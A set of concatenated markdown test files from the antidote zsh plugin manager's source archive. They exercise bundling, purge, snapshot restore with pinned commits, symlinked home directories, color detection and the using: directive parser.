Setup ```zsh % TESTDATA=$T_PRJDIR/tests/testdata/real % source ./tests/__init__.zsh % # do it for real! % t_setup_real % ``` ### Config ```zsh % zstyle ':antidote:bundle:*' zcompile 'yes' % ``` ### Bundle Clone and generate bundle script ```zsh % antidote bundle <$T_TESTDATA/.zsh_plugins.txt >$ZDOTDIR/.zsh_plugins.zsh 2>/dev/null % cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME #=> --file testdata/real/.zsh_plugins.zsh % ``` Check to see that everything cloned ```zsh % antidote list --url | sort #=> --file testdata/real/repo-list.txt % ``` Test that everything compiled ```zsh % zwcfiles=($(ls $(antidote home)/**/*.zwc(N) | wc -l)) % test $zwcfiles -gt 50 #=> --exit 0 % ``` Test that everything updated ```zsh % rm -rf -- $(antidote home)/**/*.zwc(N) % antidote update &>/dev/null % zwcfiles=($(ls $(antidote home)/**/*.zwc(N) | wc -l)) % test $zwcfiles -gt 50 #=> --exit 0 % ``` Check to see that branch:br annotations properly changed the cloned branch ```zsh % branched_plugin="$ANTIDOTE_HOME/mattmc3/antidote" % git -C $branched_plugin rev-parse --abbrev-ref HEAD 2>/dev/null v1 % ``` Test that `antidote purge --all` aborts when told "no". ```zsh % function test_exists { [[ -e "$1" ]] } % zstyle ':antidote:test:purge' answer 'n' % antidote purge --all #=> --exit 1 % antidote list --url | sort #=> --file testdata/real/repo-list.txt % antidote list | wc -l | awk '{print $1}' 15 % test_exists $ZDOTDIR/.zsh_plugins.zsh(.N) #=> --exit 0 % test_exists $ZDOTDIR/.zsh_plugins*.bak(.N) #=> --exit 1 % ``` Test that `antidote purge --all` does the work when told "yes". ```zsh % function test_exists { [[ -e "$1" ]] } % zstyle ':antidote:test:purge' answer 'y' % antidote purge --all | tail -n 1 #=> --exit 0 Antidote purge complete. Be sure to start a new Zsh session. % antidote list 2>/dev/null | wc -l | awk '{print $1}' 0 % test_exists $ZDOTDIR/.zsh_plugins.zsh(.N) #=> --exit 1 % test_exists $ZDOTDIR/.zsh_plugins*.bak(.N) #=> --exit 0 % ``` ### Teardown ```zsh % zstyle -d ':antidote:test:purge' answer % t_teardown % ``` ## CRLF testing ### Redo setup ```zsh % TESTDATA=$PWD/tests/testdata/real % source ./tests/__init__.zsh % t_setup_real % ``` Clone and generate bundle script ```zsh % antidote bundle <$T_TESTDATA/.zsh_plugins.crlf.txt >$ZDOTDIR/.zsh_plugins.zsh 2>/dev/null % cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting" ) source "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-completions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-completions/zsh-completions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search" ) source "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" % ``` Check to see that everything cloned ```zsh % antidote list | sort | subenv ANTIDOTE_HOME | sed $'s/\t/ /g' $ANTIDOTE_HOME/rupa/z https://github.com/rupa/z $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions https://github.com/zsh-users/zsh-autosuggestions $ANTIDOTE_HOME/zsh-users/zsh-completions https://github.com/zsh-users/zsh-completions $ANTIDOTE_HOME/zsh-users/zsh-history-substring-search https://github.com/zsh-users/zsh-history-substring-search $ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting https://github.com/zsh-users/zsh-syntax-highlighting % ``` ### Teardown ```zsh % t_teardown % ``` ## antidote load ### Redo setup ```zsh % T_TESTDATA=$T_PRJDIR/tests/testdata/real % source ./tests/__init__.zsh % t_setup_real % ``` ### Load Load rupa/z ```zsh % echo "rupa/z" > $ZDOTDIR/.zsh_plugins.txt % antidote load 2>&1 # antidote cloning rupa/z... % echo $+aliases[z] 1 % wc -l <$ZDOTDIR/.zsh_plugins.zsh | sed 's/ //g' 2 % (( ! $+aliases[z] )) || unalias z % ``` Load re-generates .zsh_plugins.zsh when .zsh_plugins.txt changes ```zsh % compdir=$ANTIDOTE_HOME/zsh-users/zsh-completions/src % (( $fpath[(Ie)$compdir] )) || echo "completions are not in fpath" completions are not in fpath % echo $+aliases[z] 0 % ``` ...add a new plugin ```zsh % wc -l <$ZDOTDIR/.zsh_plugins.txt | sed 's/ //g' 1 % cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" % echo "zsh-users/zsh-completions path:src kind:fpath" >> $ZDOTDIR/.zsh_plugins.txt % # static cache file hasn't changed yet % cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" % ``` ...now do `antidote load` and show that it actually loaded all plugins ```zsh % antidote load 2>&1 # antidote cloning zsh-users/zsh-completions... % cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-completions/src" ) % echo $+aliases[z] 1 % (( $fpath[(Ie)$compdir] )) && echo "completions are in fpath" completions are in fpath % % wc -l <$ZDOTDIR/.zsh_plugins.zsh | sed 's/ //g' 3 % ``` ### Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_real_gist.md000066400000000000000000000013511516600341500215640ustar00rootroot00000000000000# antidote gist bundle tests ## Setup ```zsh % TESTDATA=$T_PRJDIR/tests/testdata/real % source ./tests/__init__.zsh % t_setup_real % ``` ## Bundle a gist URL Gist URLs have a single path segment (no user/repo), and should be treated as valid URL bundles. ```zsh % antidote bundle https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git 2>&1 | head -1 # antidote cloning mattmc3/6bc5646ae0fb7cc86502933ca6661d5c... % antidote path https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c % antidote list --url | grep gist https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_real_snapshots.md000066400000000000000000000153531516600341500226470ustar00rootroot00000000000000# antidote real snapshot tests These tests use real GitHub repos and real commit SHAs from three points in time (2024, 2025, 2026) to verify snapshot save and restore work end-to-end. ## Setup ```zsh % TESTDATA=$T_PRJDIR/tests/testdata/real % source ./tests/__init__.zsh % t_setup_real % SNAP_DIR=$HOME/.antidote-real-snaps % zstyle ':antidote:snapshot' dir $SNAP_DIR % source $T_PRJDIR/antidote.zsh % ``` ## Restore 2024 snapshot Restore from the 2024 snapshot to clone all repos at their 2024-01-01 SHAs. ```zsh % antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2024.txt &>/dev/null % ``` ## Verify 2024 SHAs ```zsh % git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD 11d17e7fea9fba8067f992b3d95e884c20a4069c % git -C $ANTIDOTE_HOME/zsh-users/zsh-history-substring-search rev-parse HEAD 8dd05bfcc12b0cd1ee9ea64be725b3d9f713cf64 % git -C $ANTIDOTE_HOME/sindresorhus/pure rev-parse HEAD 4e0ce0a2f8576894e5dad83857e9a9851faa0f5b % git -C $ANTIDOTE_HOME/romkatv/zsh-bench rev-parse HEAD 3b4896c4840c64bea8e79b8392a93dfdc5a0a096 % git -C $ANTIDOTE_HOME/romkatv/zsh-defer rev-parse HEAD 1c75faff4d8584afe090b06db11991c8c8d62055 % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD fa770f9678477febe0ed99566d9f3331f3714eca % git -C $ANTIDOTE_HOME/mattmc3/zman rev-parse HEAD 40483a43f262698476d3d3c740c3c865e15ac01e % ``` ## Pin ohmyzsh and update Pin ohmyzsh to the 2024 SHA, then run update. The pinned repo should stay at 2024 while everything else updates to latest. ```zsh % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh config antidote.pin fa770f9678477febe0ed99566d9f3331f3714eca % antidote update --bundles 2>&1 | grep -c "skipping update for pinned bundle: ohmyzsh/ohmyzsh" 1 % ``` ohmyzsh stayed at the pinned 2024 SHA: ```zsh % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD fa770f9678477febe0ed99566d9f3331f3714eca % ``` Other repos moved past their 2024 SHAs: ```zsh % [[ "$(git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD)" != "11d17e7fea9fba8067f992b3d95e884c20a4069c" ]] && echo "updated" updated % ``` ## Save snapshot after update Save a snapshot capturing the current mixed state: pinned ohmyzsh at 2024, everything else at latest. ```zsh % antidote snapshot save | grep -c "Snapshot saved:" 1 % post_update_snap=$(ls $SNAP_DIR/snapshot-*.txt | tail -1) % grep ohmyzsh $post_update_snap ohmyzsh/ohmyzsh kind:clone pin:fa770f9678477febe0ed99566d9f3331f3714eca % ``` ## Restore 2025 snapshot Roll all repos to their 2025-01-01 SHAs. ```zsh % antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2025.txt &>/dev/null % ``` ## Verify 2025 SHAs Repos that changed between 2024 and 2025: ```zsh % git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD 0e810e5afa27acbd074398eefbe28d13005dbc15 % git -C $ANTIDOTE_HOME/zsh-users/zsh-history-substring-search rev-parse HEAD 87ce96b1862928d84b1afe7c173316614b30e301 % git -C $ANTIDOTE_HOME/sindresorhus/pure rev-parse HEAD 92b8e9057988566b37ff695e70e2e9bbeb7196c8 % git -C $ANTIDOTE_HOME/romkatv/zsh-bench rev-parse HEAD 661fc46c74fd970f00346d285f5ae434130491f0 % git -C $ANTIDOTE_HOME/romkatv/zsh-defer rev-parse HEAD 53a26e287fbbe2dcebb3aa1801546c6de32416fa % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD d82669199b5d900b50fd06dd3518c277f0def869 % git -C $ANTIDOTE_HOME/mattmc3/zman rev-parse HEAD 8c41af514ae9ab6bc78078ed97c376edcfab929d % ``` Repos unchanged between 2024 and 2025: ```zsh % git -C $ANTIDOTE_HOME/dracula/zsh rev-parse HEAD 75ea3f5e1055291caf56b4aea6a5d58d00541c41 % git -C $ANTIDOTE_HOME/rupa/z rev-parse HEAD d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd % git -C $ANTIDOTE_HOME/zsh-users/antigen rev-parse HEAD 64de2dcd95d6a8e879cd2244c763d99f0144e78e % git -C $ANTIDOTE_HOME/peterhurford/up.zsh rev-parse HEAD c8cc0d0edd6be2d01f467267e3ed385c386a0acb % ``` ## Restore 2026 snapshot ```zsh % antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2026.txt &>/dev/null % ``` ## Verify 2026 SHAs Repos that changed between 2025 and 2026: ```zsh % git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD 85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5 % git -C $ANTIDOTE_HOME/zsh-users/zsh-history-substring-search rev-parse HEAD aa09f04747c0e3326914a895b304498b000c6e70 % git -C $ANTIDOTE_HOME/sindresorhus/pure rev-parse HEAD 54bd501c802283dee0940457da6eb3e642bd1453 % git -C $ANTIDOTE_HOME/romkatv/zsh-bench rev-parse HEAD d7f9f821688bdff9365e630a8aaeba1fd90499b1 % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD a79b37b95461ea2be32578957473375954ab31ff % git -C $ANTIDOTE_HOME/zdharma-continuum/fast-syntax-highlighting rev-parse HEAD 3d574ccf48804b10dca52625df13da5edae7f553 % ``` Repos unchanged between 2025 and 2026: ```zsh % git -C $ANTIDOTE_HOME/mattmc3/zman rev-parse HEAD 8c41af514ae9ab6bc78078ed97c376edcfab929d % git -C $ANTIDOTE_HOME/romkatv/zsh-defer rev-parse HEAD 53a26e287fbbe2dcebb3aa1801546c6de32416fa % git -C $ANTIDOTE_HOME/dracula/zsh rev-parse HEAD 75ea3f5e1055291caf56b4aea6a5d58d00541c41 % git -C $ANTIDOTE_HOME/rupa/z rev-parse HEAD d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd % git -C $ANTIDOTE_HOME/zsh-users/antigen rev-parse HEAD 64de2dcd95d6a8e879cd2244c763d99f0144e78e % git -C $ANTIDOTE_HOME/peterhurford/up.zsh rev-parse HEAD c8cc0d0edd6be2d01f467267e3ed385c386a0acb % ``` ## Roll back to 2024 Restore the 2024 snapshot to verify we can move backwards across all repos. ```zsh % antidote snapshot restore $T_TESTDATA/.zsh_plugins.snapshot.2024.txt &>/dev/null % ``` ```zsh % git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD 11d17e7fea9fba8067f992b3d95e884c20a4069c % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD fa770f9678477febe0ed99566d9f3331f3714eca % git -C $ANTIDOTE_HOME/sindresorhus/pure rev-parse HEAD 4e0ce0a2f8576894e5dad83857e9a9851faa0f5b % git -C $ANTIDOTE_HOME/romkatv/zsh-bench rev-parse HEAD 3b4896c4840c64bea8e79b8392a93dfdc5a0a096 % git -C $ANTIDOTE_HOME/mattmc3/zman rev-parse HEAD 40483a43f262698476d3d3c740c3c865e15ac01e % ``` ## Roll forward to post-update snapshot Restore the snapshot saved after the pinned update. ohmyzsh should be back at the 2024 pinned SHA, while other repos return to their updated SHAs. ```zsh % antidote snapshot restore $post_update_snap &>/dev/null % ``` ohmyzsh is back at the pinned 2024 SHA: ```zsh % git -C $ANTIDOTE_HOME/ohmyzsh/ohmyzsh rev-parse HEAD fa770f9678477febe0ed99566d9f3331f3714eca % ``` Other repos moved past 2024 (they were at latest when we saved): ```zsh % [[ "$(git -C $ANTIDOTE_HOME/zsh-users/zsh-autosuggestions rev-parse HEAD)" != "11d17e7fea9fba8067f992b3d95e884c20a4069c" ]] && echo "restored to post-update" restored to post-update % [[ "$(git -C $ANTIDOTE_HOME/sindresorhus/pure rev-parse HEAD)" != "4e0ce0a2f8576894e5dad83857e9a9851faa0f5b" ]] && echo "restored to post-update" restored to post-update % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_setopts_special.md000066400000000000000000000014011516600341500230100ustar00rootroot00000000000000# antidote handles special Zsh options ## Setup Tests to handle special Zsh options. [#154](https://github.com/mattmc3/antidote/issues/154). ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % setopt KSH_ARRAYS SH_GLOB % ``` # Ensure bundle works ```zsh % antidote bundle <$ZDOTDIR/.zsh_plugins.txt >$ZDOTDIR/.zsh_plugins.zsh % cat $ZDOTDIR/.zsh_plugins.zsh | subenv #=> --file testdata/.zsh_plugins.zsh % ``` # Ensure options remained ```zsh % [[ -o KSH_ARRAYS ]] && echo KSH_ARRAYS KSH_ARRAYS % [[ -o SH_GLOB ]] && echo SH_GLOB SH_GLOB % # unset % unsetopt KSH_ARRAYS SH_GLOB % [[ -o KSH_ARRAYS ]] && echo KSH_ARRAYS % [[ -o SH_GLOB ]] && echo SH_GLOB % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_supports_color.md000066400000000000000000000016161516600341500227140ustar00rootroot00000000000000# antidote supports color tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## NO_COLOR takes highest priority ```zsh % TERM=xterm-256color CLICOLOR_FORCE=1 NO_COLOR=1 antidote __private__ supports_color; echo $? 1 % ``` ## CLICOLOR_FORCE bypasses TTY check ```zsh % TERM=xterm-256color CLICOLOR_FORCE=1 antidote __private__ supports_color; echo $? 0 % ``` ## Non-TTY disables colors ```zsh % TERM=xterm-256color antidote __private__ supports_color; echo $? 1 % ``` ## Terminal capability detection ```zsh % CLICOLOR_FORCE=1 COLORTERM=truecolor antidote __private__ supports_color; echo $? 0 % CLICOLOR_FORCE=1 COLORTERM=24bit antidote __private__ supports_color; echo $? 0 % CLICOLOR_FORCE=1 TERM=xterm-256color antidote __private__ supports_color; echo $? 0 % CLICOLOR_FORCE=1 TERM=rxvt antidote __private__ supports_color; echo $? 0 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_symlinked_antidote_home.md000066400000000000000000000115301516600341500245110ustar00rootroot00000000000000# antidote symlinked ANTIDOTE_HOME tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Point `ANTIDOTE_HOME` at a symlinked directory: ```zsh % real_home="$HOME/.cache/antidote-real" % link_home="$HOME/.cache/antidote-link" % command rm -rf -- "$real_home" "$link_home" % mkdir -p -- "$real_home" % ln -s "$real_home" "$link_home" % ANTIDOTE_HOME="$link_home" % ``` `antidote home` reports the symlink path: ```zsh % antidote home | subenv HOME $HOME/.cache/antidote-link % ``` ## Clone and List Before cloning, `antidote list` warns for an empty symlinked home: ```zsh % antidote list 2>&1 | subenv ANTIDOTE_HOME antidote: list: no bundles found in '$ANTIDOTE_HOME' % ``` `antidote bundle` can clone to a symlinked home: ```zsh % antidote bundle foo/bar &>/dev/null % antidote bundle pintest/pinme &>/dev/null % test -d "$real_home/fakegitsite.com/foo/bar/.git" #=> --exit 0 % test -d "$real_home/fakegitsite.com/pintest/pinme/.git" #=> --exit 0 % ``` `antidote list` still finds cloned bundles: ```zsh % antidote list --dirs | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % antidote list | wc -l | awk '{print $1}' 2 % ``` Other `list` output modes also work under symlinked home: ```zsh % antidote list --url | sort https://fakegitsite.com/foo/bar https://fakegitsite.com/pintest/pinme % antidote list --long | grep -A1 'Repo: foo/bar' | subenv ANTIDOTE_HOME Repo: foo/bar Path: $ANTIDOTE_HOME/fakegitsite.com/foo/bar % antidote list --jsonl | grep -c '"path":"'$ANTIDOTE_HOME'/fakegitsite.com/' 2 % ``` `antidote path` resolves bundle locations: ```zsh % printf '%s\n' foo/bar pintest/pinme | antidote path | sort | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % ``` ## Pin and Update Pinned repos are skipped during update; unpinned repos are updated: ```zsh % pin_dir="$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme" % foo_dir="$ANTIDOTE_HOME/fakegitsite.com/foo/bar" % foo_sha_before=$(git -C "$foo_dir" rev-parse --short HEAD) % antidote bundle 'pintest/pinme pin:64642c5691051ba0d82f5bda60b745f6fd042325' &>/dev/null % git -C "$pin_dir" rev-parse --short HEAD 64642c5 % antidote update --bundles 2>&1 | grep -c 'skipping update for pinned bundle: pintest/pinme' 1 % git -C "$foo_dir" rev-parse --short HEAD 400b29a % antidote bundle 'pintest/pinme' &>/dev/null % git -C "$pin_dir" config --get antidote.pin #=> --exit 1 % antidote update --bundles 2>&1 | grep -c 'skipping update for pinned bundle: pintest/pinme' 0 % git -C "$pin_dir" rev-parse --short HEAD d54e0ca % ``` ## Snapshot Snapshot save/list are included because snapshot save enumerates bundles via `find_bundles`, which scans `ANTIDOTE_HOME`: ```zsh % antidote snapshot save >/dev/null % test "$(antidote snapshot list | wc -l | awk '{print $1}')" -gt 0 #=> --exit 0 % ``` ## Purge `antidote purge` removes bundles from the symlink target: ```zsh % antidote purge foo/bar | subenv HOME Removed 'foo/bar'. Bundle 'foo/bar' was commented out in '$HOME/.zsh/.zsh_plugins.txt'. % test -d "$real_home/fakegitsite.com/foo/bar/.git" #=> --exit 1 % antidote list | wc -l | awk '{print $1}' 1 % antidote purge pintest/pinme | subenv HOME Removed 'pintest/pinme'. Bundle 'pintest/pinme' was commented out in '$HOME/.zsh/.zsh_plugins.txt'. % test -d "$real_home/fakegitsite.com/pintest/pinme/.git" #=> --exit 1 % antidote list 2>&1 | subenv ANTIDOTE_HOME antidote: list: no bundles found in '$ANTIDOTE_HOME' % ``` `purge --all` also works when `ANTIDOTE_HOME` is a symlink: ```zsh % antidote bundle foo/bar &>/dev/null % zstyle ':antidote:test:purge' answer 'y' % antidote purge --all | tail -n 1 Antidote purge complete. Be sure to start a new Zsh session. % test -e "$link_home" #=> --exit 1 % test -d "$real_home" #=> --exit 0 % command find "$real_home" -mindepth 1 | wc -l | awk '{print $1}' 0 % antidote list 2>&1 | subenv ANTIDOTE_HOME antidote: list: no bundles found in '$ANTIDOTE_HOME' % ``` ## Behavior: External Target Via Home Symlink This documents current behavior when `ANTIDOTE_HOME` is a symlink under `$HOME` that points to a target outside `$HOME` (for example `/tmp/...`). Purge still removes bundle contents via the symlink path: ```zsh % ANTIDOTE_TMPDIR="$HOME/.tmp" % mkdir -p -- "$ANTIDOTE_TMPDIR" % real_home_ext="/tmp/antidote-ext-$$" % link_home_ext="$HOME/.cache/antidote-link-external" % command rm -rf -- "$link_home_ext" "$real_home_ext" % mkdir -p -- "$real_home_ext" % ln -s "$real_home_ext" "$link_home_ext" % ANTIDOTE_HOME="$link_home_ext" % antidote bundle foo/bar &>/dev/null % antidote purge foo/bar | subenv HOME Removed 'foo/bar'. Bundle 'foo/bar' was commented out in '$HOME/.zsh/.zsh_plugins.txt'. % test -d "$real_home_ext/fakegitsite.com/foo/bar/.git" #=> --exit 1 % command rm -rf -- "$link_home_ext" "$real_home_ext" % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_using_directive.md000066400000000000000000000171161516600341500230040ustar00rootroot00000000000000# antidote using: directive tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % function bundle_parser() { antidote __private__ bundle_parser_serialize "$@"; } % ``` ## using: alone emits a single clone entry ```zsh % echo 'using:foo/bar' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone % ``` ## using: with path: — clone entry has no path, path is only a prefix for words ```zsh % echo 'using:foo/bar path:plugins' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone % ``` ## using: with kind: — kind becomes the default for words, clone entry is always clone ```zsh % printf 'using:foo/bar path:plugins kind:fpath\nextract\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : fpath path : plugins/extract % ``` ## word after using: gets default kind:zsh and path prefix ```zsh % printf 'using:foo/bar path:plugins\nextract\ngit\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : plugins/git % ``` ## word-level kind: overrides using: default ```zsh % printf 'using:foo/bar path:plugins kind:zsh\nextract kind:fpath\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : fpath path : plugins/extract % ``` ## using: annotations (branch, etc.) inherited by clone entry and all words ```zsh % printf 'using:foo/bar path:plugins branch:baz\nextract\ngit\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : baz kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/git % ``` ## word-level annotation overrides inherited using: annotation ```zsh % printf 'using:foo/bar path:plugins branch:main\nextract branch:dev\ngit\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : main kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : dev kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : main kind : zsh path : plugins/git % ``` ## using: with no path: — word becomes the full path value ```zsh % printf 'using:foo/bar\nextract\n' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : extract % ``` ## word without active using: context is an error ```zsh % echo 'extract' | bundle_parser | print_parsed_bundle __bundle__ : extract __error__ : invalid bundle 'extract'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin % ``` ## using: with URL form ```zsh % echo 'using:https://fakegitsite.com/foo/bar path:plugins' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME __bundle__ : https://fakegitsite.com/foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : url __url__ : https://fakegitsite.com/foo/bar kind : clone % ``` ## using: with SSH URL form ```zsh % echo 'using:git@fakegitsite.com:foo/bar path:plugins' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME __bundle__ : git@fakegitsite.com:foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : git@fakegitsite.com:foo/bar __type__ : ssh_url __url__ : git@fakegitsite.com:foo/bar kind : clone % ``` ## using: annotations like conditional: are inherited by words ```zsh % printf 'using:foo/bar path:plugins conditional:is-macos\ndocker\n' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar conditional : is-macos kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar conditional : is-macos kind : zsh path : plugins/docker % ``` ## using: with empty target is an error ```zsh % antidote bundle 'using:' 2>&1 #=> --exit 1 # antidote: error on line 1: invalid using: target '' % ``` ## using: with malformed target is an error ```zsh % antidote bundle 'using:foo@bar' 2>&1 #=> --exit 1 # antidote: error on line 1: invalid using: target 'foo@bar' % ``` ## invalid bundle mixed with valid — error is shown but valid output is still produced ```zsh % printf 'foo/bar\nfoo\n' | antidote bundle 2>&1 #=> --exit 1 # antidote: error on line 2: invalid bundle 'foo'. Are you missing a 'using:' directive? source $ANTIDOTE_HOME/fakegitsite.com/foo/bar/foo_bar.plugin.zsh % ``` ## full fixture: multiple using: blocks, non-word passthrough, branch inheritance, context persistence ```zsh % antidote bundle <$T_TESTDATA/.zsh_plugins_using.txt | subenv ANTIDOTE_HOME HOME ZDOTDIR #=> --file testdata/.zsh_plugins_using.zsh % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_zcompile_bundle.md000066400000000000000000000030141516600341500227640ustar00rootroot00000000000000# antidote load tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ### General Ensure a compiled file does not exist: ```zsh % zstyle ':antidote:bundle:*' zcompile 'no' % ! test -e $ZDOTDIR/custom/lib/lib1.zsh.zwc 